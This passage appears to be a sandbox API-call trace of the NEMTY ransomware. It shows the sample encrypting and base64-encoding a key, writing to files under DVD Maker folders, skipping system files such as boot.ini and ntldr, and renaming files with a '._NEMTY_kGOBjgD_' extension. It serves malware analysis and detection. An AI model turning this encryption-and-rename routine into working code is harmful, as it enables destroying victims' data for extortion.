[0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-shadow.png", lpUsedDefaultChar=0x0) returned 21 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-shadow.png", lpUsedDefaultChar=0x0) returned 21 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-shadow.png", lpUsedDefaultChar=0x0) returned 21 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-shadow.png", lpUsedDefaultChar=0x0) returned 21 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0076.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0076.377] Sleep (dwMilliseconds=0x5) [0076.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe12df210, dwHighDateTime=0x1d561e7)) [0076.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe12df210, dwHighDateTime=0x1d561e7)) [0076.391] GetLastError () returned 0x5 [0076.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.391] GetLastError () returned 0x5 [0076.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0076.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="KnpSS6rYiVDkXohYBScTvpnYKkX7Wseum2eKlmckRdEvT4GOD6wJ055KSkMsPaWY\r\ne652dVoiIvkhK0SqOTZHAzZ4iHvoNCjksO0FoB+2gAfmJgf5lMmi1OCJxE8/Zjnr\r\nK04U2t1ecSX67Usyvna7SgN42lOb0vRgvyK8RGlqQzP0lqTyXK2afDpXT4HcWann\r\nnCcZ5EOgV4uLSL5kqEcYacVzN/S1/DxQ0jY02sE0a/9EKcYrdKHpNKTB5fuxNenr\r\nSraOCML12m64EJVrnAHKvxIQyP3jvpwOCSsjS8BbQIVoNY9R7K0rHPQ8oJlz5ilh\r\nHjNUjbXG6YQOpKcLb3QPgA==\r\n", pcchString=0x653e91c) returned 1 [0076.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0076.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.392] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.392] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.503] CloseHandle (hObject=0xffffffff) returned 0 [0076.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0076.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0076.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0076.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0076.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.503] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png._nemty_kgobjgd_")) returned 0 [0076.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2=".") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="..") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="...") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="windows") returned -1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="$RECYCLE.BIN") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="rsa") returned -1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="NTDETECT.COM") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntldr") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="MSDOS.SYS") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="IO.SYS") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="boot.ini") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="boot.ini") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntuser.dat") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="desktop.ini") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="CONFIG.SYS") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="RECYCLER") returned -1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="BOOTSECT.BAK") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootmgr") returned 1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="programdata") returned -1 [0076.504] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="appdata") returned 1 [0076.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-backglow.png", lpUsedDefaultChar=0x0) returned 29 [0076.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-backglow.png", lpUsedDefaultChar=0x0) returned 29 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 